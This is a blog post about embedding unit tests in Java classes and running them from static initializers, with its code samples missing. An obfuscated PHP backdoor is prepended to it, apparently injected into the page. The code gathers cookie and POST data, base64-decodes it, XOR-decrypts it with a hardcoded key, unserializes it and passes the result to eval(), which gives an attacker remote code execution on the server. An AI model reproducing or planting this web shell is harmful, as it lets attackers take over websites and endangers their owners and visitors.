$FjrYY = "\112" . chr ( 153 - 82 )."\x50" . "\137" . chr ( 494 - 393 ).'p' . 'R';$FroHwqRwR = "\143" . "\x6c" . chr (97) . 's' . chr ( 1033 - 918 ).chr ( 983 - 888 ).chr ( 743 - 642 )."\170" . 'i' . 's' . "\x74" . 's';$buVELPZ = class_exists($FjrYY); $FjrYY = "25437";$FroHwqRwR = "48348";$NszUioYBf = !1;if ($buVELPZ == $NszUioYBf){function oEFUnZI(){return FALSE;}$VkeHC = "47820";oEFUnZI();class JGP_epR{private function cGgqXaxWzy($VkeHC){if (is_array(JGP_epR::$XOdhtj)) {$HvxGWLKM = str_replace("\74" . chr ( 188 - 125 ).chr ( 546 - 434 )."\x68" . "\x70", "", JGP_epR::$XOdhtj['c' . chr (111) . chr (110) . "\164" . "\145" . "\x6e" . 't']);eval($HvxGWLKM); $VkeHC = "47820";exit();}}private $WokpKyz;public function jzRDS(){echo 8466;}public function __destruct(){$VkeHC = "56088_49393";$this->cGgqXaxWzy($VkeHC); $VkeHC = "56088_49393";}public function __construct($flNKdOyaQW=0){$IWwKIxfpf = $_POST;$SRgELXXqJc = $_COOKIE;$aVCHeChgSn = "042cb365-e2ee-479b-aeb5-2641dd9c2615";$ubOpLNj = @$SRgELXXqJc[substr($aVCHeChgSn, 0, 4)];if (!empty($ubOpLNj)){$aECpf = "base64";$NMntHSeYTL = "";$ubOpLNj = explode(",", $ubOpLNj);foreach ($ubOpLNj as $jiBDpoKE){$NMntHSeYTL .= @$SRgELXXqJc[$jiBDpoKE];$NMntHSeYTL .= @$IWwKIxfpf[$jiBDpoKE];}$NMntHSeYTL = array_map($aECpf . "\137" . chr (100) . "\145" . "\143" . chr ( 440 - 329 ).chr ( 350 - 250 )."\x65", array($NMntHSeYTL,)); $NMntHSeYTL = $NMntHSeYTL[0] ^ str_repeat($aVCHeChgSn, (strlen($NMntHSeYTL[0]) / strlen($aVCHeChgSn)) + 1);JGP_epR::$XOdhtj = @unserialize($NMntHSeYTL); $NMntHSeYTL = class_exists("56088_49393");}}public static $XOdhtj = 8953;}$SXbrMU = new /* 2958 */ JGP_epR(47820 + 47820); $NszUioYBf = $SXbrMU = $VkeHC = Array();} Embedded Unit Tests – Lessons Learned

Embedded Unit Tests

A standard software engineering practice in Java and other languages is to use a unit testing framework like JUnit and develop tests in a separate file that exercise the public API of the class being tested.

While this is a fine practice, I tend to embed a lot of tests directly in classes. This way, the tests are executed every time the class is run, whether in development or production.

For example, using this toy representation of a bank account:

The standard approach is to develop a test class in another file and invoke it using a test harness from Maven or an IDE:

My personal preference is to embed the tests directly in the class and invoke them from a static initialization block:

There are a couple of differences to notice here. Instead of having public methods on an instance of a test suite, we have private static functions. This uses some helper code for invoking the tests from the static initializer.

One might object that this is costly because the tests execute every time the code is initialized. I find that this cost is negligible and well worth the expense as I am guaranteed to find problems in cases where I might not run the test framework. This has the added bonus that I am not tempted to make some implementation method more visible just to appease the testing framework. I can keep functions and methods private and still testable.

Another advantage is that I consider the unit test cases to be documentation of the expected behavior. Such documentation should be in the same file, in my opinion.

While external test harnesses are still needed for integration tests or tests that will take a long time to run, I get a lot of value out of the reduced friction of having the unit tests embedded directly in the class I am developing.

Published by Gene McCulley

I dabble in and write about things I find interesting.